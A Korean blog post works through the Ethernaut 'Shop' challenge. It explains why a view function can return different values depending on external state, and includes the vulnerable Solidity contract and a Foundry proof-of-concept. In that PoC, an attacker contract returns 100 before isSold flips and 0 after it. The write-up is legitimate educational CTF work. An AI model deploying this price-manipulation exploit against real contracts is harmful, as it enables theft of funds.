The Ethernaut : Shop

세인·2025년 12월 6일

인터페이스

  • “이 주소에 어떠한 함수가 있을 거야”라는 형태에 대한 약속일 뿐,
  • 그 함수가 내부적으로 어떻게 동작하는지는 전혀 모름.

view의 제약은

  • “자기 자신의 상태를 안 바꾼다”일 뿐,
  • “외부 컨트랙트의 상태를 읽지 못한다”, “항상 같은 값을 반환해야 한다”는 뜻이 아니다.

외부 상태에 따라 값이 바뀌는 view 함수를 만들 수 있다.


문제 코드

  1. Shop.buy()를 성공시키면서 최종적으로 Shop.price 상태값을 100보다 낮게 만드는 것이 목표

  2. buy() 안에서 buyer.price()두 번 호출한다.

    • 한 번은 if (_buyer.price() >= price && !isSold) 조건 체크용
    • 한 번은 price = _buyer.price(); 대입용
  3. 조건이 성립하려면 첫 번째 호출 시점

    • _buyer.price() >= price
    • !isSold 이 둘을 만족해야 한다.
  4. 조건이 통과되면 isSold = true로 먼저 바뀐 뒤,

    이후에 다시 _buyer.price()를 호출해서 Shop.price에 저장한다.

즉, price() 호출 시점이 두 번 있고, 두 호출 사이에는 Shop.isSold 값이 바뀐다는 게 핵심

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuyer {
  function price() external view returns (uint256);
}

contract Shop {
  uint256 public price = 100;
  bool public isSold;

  function buy() public {
    IBuyer _buyer = IBuyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

로직 정리

  1. Shop.isSold()false일 때 (첫 번째 호출 시점)
    • price()100 이상을 반환 → if 조건 통과
  2. Shop.isSold()true일 때 (두 번째 호출 시점)
    • price()0 같은 작은 값을 반환 → 최종 Shop.price가 낮은 값으로 기록

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Shop} from "../src/Shop.sol";

contract Attack {
    Shop public shop;

    constructor(address _target) {
        shop = Shop(_target);
    }

    function buy() public {
        shop.buy();
    }

    function price() public returns(uint) {
        if(shop.isSold()){ //isSold가 TRUE일때는 0원 (싸게 사기)
            return 0;
        } else {
            return 100;   //설정된 price 변수 값보다 크거나 같은 값으로 설정
        }
    }
}

contract PoC is Script {
    address public target = 0xADF66D4bE2Dc75207a25EBf5F37C9FafA27EA1cF;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);

        Attack attack = new Attack(target);
        attack.buy();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글